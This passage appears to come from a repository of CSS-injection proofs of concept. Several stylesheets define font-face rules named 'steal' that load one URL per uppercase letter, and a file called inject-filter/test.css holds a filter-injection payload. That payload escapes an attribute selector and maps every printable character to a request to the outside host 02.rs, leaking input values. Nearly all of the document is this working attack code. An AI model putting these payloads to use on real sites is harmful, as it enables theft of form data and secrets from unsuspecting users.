58 | unicode-range: U+004a;
59 | font-family: steal;
60 | }
61 |
62 | @font-face {
63 | src: url("/K");
64 | unicode-range: U+004b;
65 | font-family: steal;
66 | }
67 |
68 | @font-face {
69 | src: url("/L");
70 | unicode-range: U+004c;
71 | font-family: steal;
72 | }
73 |
74 | @font-face {
75 | src: url("/M");
76 | unicode-range: U+004d;
77 | font-family: steal;
78 | }
79 |
80 | @font-face {
81 | src: url("/N");
82 | unicode-range: U+004e;
83 | font-family: steal;
84 | }
85 |
86 | @font-face {
87 | src: url("/O");
88 | unicode-range: U+004f;
89 | font-family: steal;
90 | }
91 |
92 | @font-face {
93 | src: url("/P");
94 | unicode-range: U+0050;
95 | font-family: steal;
96 | }
97 |
98 | @font-face {
99 | src: url("/Q");
100 | unicode-range: U+0051;
101 | font-family: steal;
102 | }
103 |
104 | @font-face {
105 | src: url("/R");
106 | unicode-range: U+0052;
107 | font-family: steal;
108 | }
109 |
110 | @font-face {
111 | src: url("/S");
112 | unicode-range: U+0053;
113 | font-family: steal;
114 | }
115 |
116 | @font-face {
117 | src: url("/T");
118 | unicode-range: U+0054;
119 | font-family: steal;
120 | }
121 |
122 | @font-face {
123 | src: url("/U");
124 | unicode-range: U+0055;
125 | font-family: steal;
126 | }
127 |
128 | @font-face {
129 | src: url("/V");
130 | unicode-range: U+0056;
131 | font-family: steal;
132 | }
133 |
134 | @font-face {
135 | src: url("/W");
136 | unicode-range: U+0057;
137 | font-family: steal;
138 | }
139 |
140 | @font-face {
141 | src: url("/X");
142 | unicode-range: U+0058;
143 | font-family: steal;
144 | }
145 |
146 | @font-face {
147 | src: url("/Y");
148 | unicode-range: U+0059;
149 | font-family: steal;
150 | }
151 |
152 | @font-face {
153 | src: url("/Z");
154 | unicode-range: U+005a;
155 | font-family: steal;
156 | }
157 |
158 |
159 | @font-face {
160 | src: url("/A");
161 | unicode-range: U+0041;
162 | font-family: steal2;
163 | }
164 |
165 | @font-face {
166 | src: url("/B");
167 | unicode-range: U+0042;
168 | font-family: steal2;
169 | }
170 |
171 | @font-face {
172 | src: url("/C");
173 | unicode-range: U+0043;
174 | font-family: steal2;
175 | }
176 |
177 | @font-face {
178 | src: url("/D");
179 | unicode-range: U+0044;
180 | font-family: steal2;
181 | }
182 |
183 | @font-face {
184 | src: url("/E");
185 | unicode-range: U+0045;
186 | font-family: steal2;
187 | }
188 |
189 | @font-face {
190 | src: url("/F");
191 | unicode-range: U+0046;
192 | font-family: steal2;
193 | }
194 |
195 | @font-face {
196 | src: url("/G");
197 | unicode-range: U+0047;
198 | font-family: steal2;
199 | }
200 |
201 | @font-face {
202 | src: url("/H");
203 | unicode-range: U+0048;
204 | font-family: steal2;
205 | }
206 |
207 | @font-face {
208 | src: url("/I");
209 | unicode-range: U+0049;
210 | font-family: steal2;
211 | }
212 |
213 | @font-face {
214 | src: url("/J");
215 | unicode-range: U+004a;
216 | font-family: steal2;
217 | }
218 |
219 | @font-face {
220 | src: url("/K");
221 | unicode-range: U+004b;
222 | font-family: steal2;
223 | }
224 |
225 | @font-face {
226 | src: url("/L");
227 | unicode-range: U+004c;
228 | font-family: steal2;
229 | }
230 |
231 | @font-face {
232 | src: url("/M");
233 | unicode-range: U+004d;
234 | font-family: steal2;
235 | }
236 |
237 | @font-face {
238 | src: url("/N");
239 | unicode-range: U+004e;
240 | font-family: steal2;
241 | }
242 |
243 | @font-face {
244 | src: url("/O");
245 | unicode-range: U+004f;
246 | font-family: steal2;
247 | }
248 |
249 | @font-face {
250 | src: url("/P");
251 | unicode-range: U+0050;
252 | font-family: steal2;
253 | }
254 |
255 | @font-face {
256 | src: url("/Q");
257 | unicode-range: U+0051;
258 | font-family: steal2;
259 | }
260 |
261 | @font-face {
262 | src: url("/R");
263 | unicode-range: U+0052;
264 | font-family: steal2;
265 | }
266 |
267 | @font-face {
268 | src: url("/S");
269 | unicode-range: U+0053;
270 | font-family: steal2;
271 | }
272 |
273 | @font-face {
274 | src: url("/T");
275 | unicode-range: U+0054;
276 | font-family: steal2;
277 | }
278 |
279 | @font-face {
280 | src: url("/U");
281 | unicode-range: U+0055;
282 | font-family: steal2;
283 | }
284 |
285 | @font-face {
286 | src: url("/V");
287 | unicode-range: U+0056;
288 | font-family: steal2;
289 | }
290 |
291 | @font-face {
292 | src: url("/W");
293 | unicode-range: U+0057;
294 | font-family: steal2;
295 | }
296 |
297 | @font-face {
298 | src: url("/X");
299 | unicode-range: U+0058;
300 | font-family: steal2;
301 | }
302 |
303 | @font-face {
304 | src: url("/Y");
305 | unicode-range: U+0059;
306 | font-family: steal2;
307 | }
308 |
309 | @font-face {
310 | src: url("/Z");
311 | unicode-range: U+005a;
312 | font-family: steal2;
313 | }
314 |
--------------------------------------------------------------------------------
/steal-attribute-values-checkboxes/steal-uppercase.css:
--------------------------------------------------------------------------------
1 |
2 | @font-face {
3 | src: url("/A");
4 | unicode-range: U+0041;
5 | font-family: steal;
6 | }
7 |
8 | @font-face {
9 | src: url("/B");
10 | unicode-range: U+0042;
11 | font-family: steal;
12 | }
13 |
14 | @font-face {
15 | src: url("/C");
16 | unicode-range: U+0043;
17 | font-family: steal;
18 | }
19 |
20 | @font-face {
21 | src: url("/D");
22 | unicode-range: U+0044;
23 | font-family: steal;
24 | }
25 |
26 | @font-face {
27 | src: url("/E");
28 | unicode-range: U+0045;
29 | font-family: steal;
30 | }
31 |
32 | @font-face {
33 | src: url("/F");
34 | unicode-range: U+0046;
35 | font-family: steal;
36 | }
37 |
38 | @font-face {
39 | src: url("/G");
40 | unicode-range: U+0047;
41 | font-family: steal;
42 | }
43 |
44 | @font-face {
45 | src: url("/H");
46 | unicode-range: U+0048;
47 | font-family: steal;
48 | }
49 |
50 | @font-face {
51 | src: url("/I");
52 | unicode-range: U+0049;
53 | font-family: steal;
54 | }
55 |
56 | @font-face {
57 | src: url("/J");
58 | unicode-range: U+004a;
59 | font-family: steal;
60 | }
61 |
62 | @font-face {
63 | src: url("/K");
64 | unicode-range: U+004b;
65 | font-family: steal;
66 | }
67 |
68 | @font-face {
69 | src: url("/L");
70 | unicode-range: U+004c;
71 | font-family: steal;
72 | }
73 |
74 | @font-face {
75 | src: url("/M");
76 | unicode-range: U+004d;
77 | font-family: steal;
78 | }
79 |
80 | @font-face {
81 | src: url("/N");
82 | unicode-range: U+004e;
83 | font-family: steal;
84 | }
85 |
86 | @font-face {
87 | src: url("/O");
88 | unicode-range: U+004f;
89 | font-family: steal;
90 | }
91 |
92 | @font-face {
93 | src: url("/P");
94 | unicode-range: U+0050;
95 | font-family: steal;
96 | }
97 |
98 | @font-face {
99 | src: url("/Q");
100 | unicode-range: U+0051;
101 | font-family: steal;
102 | }
103 |
104 | @font-face {
105 | src: url("/R");
106 | unicode-range: U+0052;
107 | font-family: steal;
108 | }
109 |
110 | @font-face {
111 | src: url("/S");
112 | unicode-range: U+0053;
113 | font-family: steal;
114 | }
115 |
116 | @font-face {
117 | src: url("/T");
118 | unicode-range: U+0054;
119 | font-family: steal;
120 | }
121 |
122 | @font-face {
123 | src: url("/U");
124 | unicode-range: U+0055;
125 | font-family: steal;
126 | }
127 |
128 | @font-face {
129 | src: url("/V");
130 | unicode-range: U+0056;
131 | font-family: steal;
132 | }
133 |
134 | @font-face {
135 | src: url("/W");
136 | unicode-range: U+0057;
137 | font-family: steal;
138 | }
139 |
140 | @font-face {
141 | src: url("/X");
142 | unicode-range: U+0058;
143 | font-family: steal;
144 | }
145 |
146 | @font-face {
147 | src: url("/Y");
148 | unicode-range: U+0059;
149 | font-family: steal;
150 | }
151 |
152 | @font-face {
153 | src: url("/Z");
154 | unicode-range: U+005a;
155 | font-family: steal;
156 | }
157 |
158 |
159 | @font-face {
160 | src: url("/A");
161 | unicode-range: U+0041;
162 | font-family: steal2;
163 | }
164 |
165 | @font-face {
166 | src: url("/B");
167 | unicode-range: U+0042;
168 | font-family: steal2;
169 | }
170 |
171 | @font-face {
172 | src: url("/C");
173 | unicode-range: U+0043;
174 | font-family: steal2;
175 | }
176 |
177 | @font-face {
178 | src: url("/D");
179 | unicode-range: U+0044;
180 | font-family: steal2;
181 | }
182 |
183 | @font-face {
184 | src: url("/E");
185 | unicode-range: U+0045;
186 | font-family: steal2;
187 | }
188 |
189 | @font-face {
190 | src: url("/F");
191 | unicode-range: U+0046;
192 | font-family: steal2;
193 | }
194 |
195 | @font-face {
196 | src: url("/G");
197 | unicode-range: U+0047;
198 | font-family: steal2;
199 | }
200 |
201 | @font-face {
202 | src: url("/H");
203 | unicode-range: U+0048;
204 | font-family: steal2;
205 | }
206 |
207 | @font-face {
208 | src: url("/I");
209 | unicode-range: U+0049;
210 | font-family: steal2;
211 | }
212 |
213 | @font-face {
214 | src: url("/J");
215 | unicode-range: U+004a;
216 | font-family: steal2;
217 | }
218 |
219 | @font-face {
220 | src: url("/K");
221 | unicode-range: U+004b;
222 | font-family: steal2;
223 | }
224 |
225 | @font-face {
226 | src: url("/L");
227 | unicode-range: U+004c;
228 | font-family: steal2;
229 | }
230 |
231 | @font-face {
232 | src: url("/M");
233 | unicode-range: U+004d;
234 | font-family: steal2;
235 | }
236 |
237 | @font-face {
238 | src: url("/N");
239 | unicode-range: U+004e;
240 | font-family: steal2;
241 | }
242 |
243 | @font-face {
244 | src: url("/O");
245 | unicode-range: U+004f;
246 | font-family: steal2;
247 | }
248 |
249 | @font-face {
250 | src: url("/P");
251 | unicode-range: U+0050;
252 | font-family: steal2;
253 | }
254 |
255 | @font-face {
256 | src: url("/Q");
257 | unicode-range: U+0051;
258 | font-family: steal2;
259 | }
260 |
261 | @font-face {
262 | src: url("/R");
263 | unicode-range: U+0052;
264 | font-family: steal2;
265 | }
266 |
267 | @font-face {
268 | src: url("/S");
269 | unicode-range: U+0053;
270 | font-family: steal2;
271 | }
272 |
273 | @font-face {
274 | src: url("/T");
275 | unicode-range: U+0054;
276 | font-family: steal2;
277 | }
278 |
279 | @font-face {
280 | src: url("/U");
281 | unicode-range: U+0055;
282 | font-family: steal2;
283 | }
284 |
285 | @font-face {
286 | src: url("/V");
287 | unicode-range: U+0056;
288 | font-family: steal2;
289 | }
290 |
291 | @font-face {
292 | src: url("/W");
293 | unicode-range: U+0057;
294 | font-family: steal2;
295 | }
296 |
297 | @font-face {
298 | src: url("/X");
299 | unicode-range: U+0058;
300 | font-family: steal2;
301 | }
302 |
303 | @font-face {
304 | src: url("/Y");
305 | unicode-range: U+0059;
306 | font-family: steal2;
307 | }
308 |
309 | @font-face {
310 | src: url("/Z");
311 | unicode-range: U+005a;
312 | font-family: steal2;
313 | }
314 |
--------------------------------------------------------------------------------
/inject-filter/test.css:
--------------------------------------------------------------------------------
1 | ##input[value="123" /*/]
2 | ##input[value="123*/]{}@font-face{font-family:steal;src:url('//02.rs?%00');unicode-range:U+0000;}@font-face{font-family:steal;src:url('//02.rs?%01');unicode-range:U+0001;}@font-face{font-family:steal;src:url('//02.rs?%02');unicode-range:U+0002;}@font-face{font-family:steal;src:url('//02.rs?%03');unicode-range:U+0003;}@font-face{font-family:steal;src:url('//02.rs?%04');unicode-range:U+0004;}@font-face{font-family:steal;src:url('//02.rs?%05');unicode-range:U+0005;}@font-face{font-family:steal;src:url('//02.rs?%06');unicode-range:U+0006;}@font-face{font-family:steal;src:url('//02.rs?%07');unicode-range:U+0007;}@font-face{font-family:steal;src:url('//02.rs?%08');unicode-range:U+0008;}@font-face{font-family:steal;src:url('//02.rs?%09');unicode-range:U+0009;}@font-face{font-family:steal;src:url('//02.rs?%0A');unicode-range:U+000a;}@font-face{font-family:steal;src:url('//02.rs?%0B');unicode-range:U+000b;}@font-face{font-family:steal;src:url('//02.rs?%0C');unicode-range:U+000c;}@font-face{font-family:steal;src:url('//02.rs?%0D');unicode-range:U+000d;}@font-face{font-family:steal;src:url('//02.rs?%0E');unicode-range:U+000e;}@font-face{font-family:steal;src:url('//02.rs?%0F');unicode-range:U+000f;}@font-face{font-family:steal;src:url('//02.rs?%10');unicode-range:U+0010;}@font-face{font-family:steal;src:url('//02.rs?%11');unicode-range:U+0011;}@font-face{font-family:steal;src:url('//02.rs?%12');unicode-range:U+0012;}@font-face{font-family:steal;src:url('//02.rs?%13');unicode-range:U+0013;}@font-face{font-family:steal;src:url('//02.rs?%14');unicode-range:U+0014;}@font-face{font-family:steal;src:url('//02.rs?%15');unicode-range:U+0015;}@font-face{font-family:steal;src:url('//02.rs?%16');unicode-range:U+0016;}@font-face{font-family:steal;src:url('//02.rs?%17');unicode-range:U+0017;}@font-face{font-family:steal;src:url('//02.rs?%18');unicode-range:U+0018;}@font-face{font-family:steal;src:url('//02.rs?%19');unicode-range:U+0019;}@font-face{font-family:steal;src:url('//02.rs?%1A');unicode-range:U+001a;}@font-face{font-family:steal;src:url('//02.rs?%1B');unicode-range:U+001b;}@font-face{font-family:steal;src:url('//02.rs?%1C');unicode-range:U+001c;}@font-face{font-family:steal;src:url('//02.rs?%1D');unicode-range:U+001d;}@font-face{font-family:steal;src:url('//02.rs?%1E');unicode-range:U+001e;}@font-face{font-family:steal;src:url('//02.rs?%1F');unicode-range:U+001f;}@font-face{font-family:steal;src:url('//02.rs?%20');unicode-range:U+0020;}@font-face{font-family:steal;src:url('//02.rs?!');unicode-range:U+0021;}@font-face{font-family:steal;src:url('//02.rs?%22');unicode-range:U+0022;}@font-face{font-family:steal;src:url('//02.rs?%23');unicode-range:U+0023;}@font-face{font-family:steal;src:url('//02.rs?%24');unicode-range:U+0024;}@font-face{font-family:steal;src:url('//02.rs?%25');unicode-range:U+0025;}@font-face{font-family:steal;src:url('//02.rs?%26');unicode-range:U+0026;}@font-face{font-family:steal;src:url('//02.rs?%2527');unicode-range:U+0027;}@font-face{font-family:steal;src:url('//02.rs?(');unicode-range:U+0028;}@font-face{font-family:steal;src:url('//02.rs?)');unicode-range:U+0029;}@font-face{font-family:steal;src:url('//02.rs?*');unicode-range:U+002a;}@font-face{font-family:steal;src:url('//02.rs?%2B');unicode-range:U+002b;}@font-face{font-family:steal;src:url('//02.rs?%2C');unicode-range:U+002c;}@font-face{font-family:steal;src:url('//02.rs?-');unicode-range:U+002d;}@font-face{font-family:steal;src:url('//02.rs?.');unicode-range:U+002e;}@font-face{font-family:steal;src:url('//02.rs?%2F');unicode-range:U+002f;}@font-face{font-family:steal;src:url('//02.rs?0');unicode-range:U+0030;}@font-face{font-family:steal;src:url('//02.rs?1');unicode-range:U+0031;}@font-face{font-family:steal;src:url('//02.rs?2');unicode-range:U+0032;}@font-face{font-family:steal;src:url('//02.rs?3');unicode-range:U+0033;}@font-face{font-family:steal;src:url('//02.rs?4');unicode-range:U+0034;}@font-face{font-family:steal;src:url('//02.rs?5');unicode-range:U+0035;}@font-face{font-family:steal;src:url('//02.rs?6');unicode-range:U+0036;}@font-face{font-family:steal;src:url('//02.rs?7');unicode-range:U+0037;}@font-face{font-family:steal;src:url('//02.rs?8');unicode-range:U+0038;}@font-face{font-family:steal;src:url('//02.rs?9');unicode-range:U+0039;}@font-face{font-family:steal;src:url('//02.rs?%3A');unicode-range:U+003a;}@font-face{font-family:steal;src:url('//02.rs?%3B');unicode-range:U+003b;}@font-face{font-family:steal;src:url('//02.rs?%3C');unicode-range:U+003c;}@font-face{font-family:steal;src:url('//02.rs?%3D');unicode-range:U+003d;}@font-face{font-family:steal;src:url('//02.rs?%3E');unicode-range:U+003e;}@font-face{font-family:steal;src:url('//02.rs?%3F');unicode-range:U+003f;}@font-face{font-family:steal;src:url('//02.rs?%40');unicode-range:U+0040;}@font-face{font-family:steal;src:url('//02.rs?A');unicode-range:U+0041;}@font-face{font-family:steal;src:url('//02.rs?B');unicode-range:U+0042;}@font-face{font-family:steal;src:url('//02.rs?C');unicode-range:U+0043;}@font-face{font-family:steal;src:url('//02.rs?D');unicode-range:U+0044;}@font-face{font-family:steal;src:url('//02.rs?E');unicode-range:U+0045;}@font-face{font-family:steal;src:url('//02.rs?F');unicode-range:U+0046;}@font-face{font-family:steal;src:url('//02.rs?G');unicode-range:U+0047;}@font-face{font-family:steal;src:url('//02.rs?H');unicode-range:U+0048;}@font-face{font-family:steal;src:url('//02.rs?I');unicode-range:U+0049;}@font-face{font-family:steal;src:url('//02.rs?J');unicode-range:U+004a;}@font-face{font-family:steal;src:url('//02.rs?K');unicode-range:U+004b;}@font-face{font-family:steal;src:url('//02.rs?L');unicode-range:U+004c;}@font-face{font-family:steal;src:url('//02.rs?M');unicode-range:U+004d;}@font-face{font-family:steal;src:url('//02.rs?N');unicode-range:U+004e;}@font-face{font-family:steal;src:url('//02.rs?O');unicode-range:U+004f;}@font-face{font-family:steal;src:url('//02.rs?P');unicode-range:U+0050;}@font-face{font-family:steal;src:url('//02.rs?Q');unicode-range:U+0051;}@font-face{font-family:steal;src:url('//02.rs?R');unicode-range:U+0052;}@font-face{font-family:steal;src:url('//02.rs?S');unicode-range:U+0053;}@font-face{font-family:steal;src:url('//02.rs?T');unicode-range:U+0054;}@font-face{font-family:steal;src:url('//02.rs?U');unicode-range:U+0055;}@font-face{font-family:steal;src:url('//02.rs?V');unicode-range:U+0056;}@font-face{font-family:steal;src:url('//02.rs?W');unicode-range:U+0057;}@font-face{font-family:steal;src:url('//02.rs?X');unicode-range:U+0058;}@font-face{font-family:steal;src:url('//02.rs?Y');unicode-range:U+0059;}@font-face{font-family:steal;src:url('//02.rs?Z');unicode-range:U+005a;}@font-face{font-family:steal;src:url('//02.rs?%5B');unicode-range:U+005b;}@font-face{font-family:steal;src:url('//02.rs?%5C');unicode-range:U+005c;}@font-face{font-family:steal;src:url('//02.rs?%5D');unicode-range:U+005d;}@font-face{font-family:steal;src:url('//02.rs?%5E');unicode-range:U+005e;}@font-face{font-family:steal;src:url('//02.rs?_');unicode-range:U+005f;}@font-face{font-family:steal;src:url('//02.rs?%60');unicode-range:U+0060;}@font-face{font-family:steal;src:url('//02.rs?a');unicode-range:U+0061;}@font-face{font-family:steal;src:url('//02.rs?b');unicode-range:U+0062;}@font-face{font-family:steal;src:url('//02.rs?c');unicode-range:U+0063;}@font-face{font-family:steal;src:url('//02.rs?d');unicode-range:U+0064;}@font-face{font-family:steal;src:url('//02.rs?e');unicode-range:U+0065;}@font-face{font-family:steal;src:url('//02.rs?f');unicode-range:U+0066;}@font-face{font-family:steal;src:url('//02.rs?g');unicode-range:U+0067;}@font-face{font-family:steal;src:url('//02.rs?h');unicode-range:U+0068;}@font-face{font-family:steal;src:url('//02.rs?i');unicode-range:U+0069;}@font-face{font-family:steal;src:url('//02.rs?j');unicode-range:U+006a;}@font-face{font-family:steal;src:url('//02.rs?k');unicode-range:U+006b;}@font-face{font-family:steal;src:url('//02.rs?l');unicode-range:U+006c;}@font-face{font-family:steal;src:url('//02.rs?m');unicode-range:U+006d;}@font-face{font-family:steal;src:url('//02.rs?n');unicode-range:U+006e;}@font-face{font-family:steal;src:url('//02.rs?o');unicode-range:U+006f;}@font-face{font-family:steal;src:url('//02.rs?p');unicode-range:U+0070;}@font-face{font-family:steal;src:url('//02.rs?q');unicode-range:U+0071;}@font-face{font-family:steal;src:url('//02.rs?r');unicode-range:U+0072;}@font-face{font-family:steal;src:url('//02.rs?s');unicode-range:U+0073;}@font-face{font-family:steal;src:url('//02.rs?t');unicode-range:U+0074;}@font-face{font-family:steal;src:url('//02.rs?u');unicode-range:U+0075;}@font-face{font-family:steal;src:url('//02.rs?v');unicode-range:U+0076;}@font-face{font-family:steal;src:url('//02.rs?w');unicode-range:U+0077;}@font-face{font-family:steal;src:url('//02.rs?x');unicode-range:U+0078;}@font-face{font-family:steal;src:url('//02.rs?y');unicode-range:U+0079;}@font-face{font-family:steal;src:url('//02.rs?z');unicode-range:U+007a;}@font-face{font-family:steal;src:url('//02.rs?%7B');unicode-range:U+007b;}@font-face{font-family:steal;src:url('//02.rs?%7C');unicode-range:U+007c;}@font-face{font-family:steal;src:url('//02.rs?%7D');unicode-range:U+007d;}@font-face{font-family:steal;src:url('//02.rs?~');unicode-range:U+007e;}input{font-family: steal;}"]
3 |
--------------------------------------------------------------------------------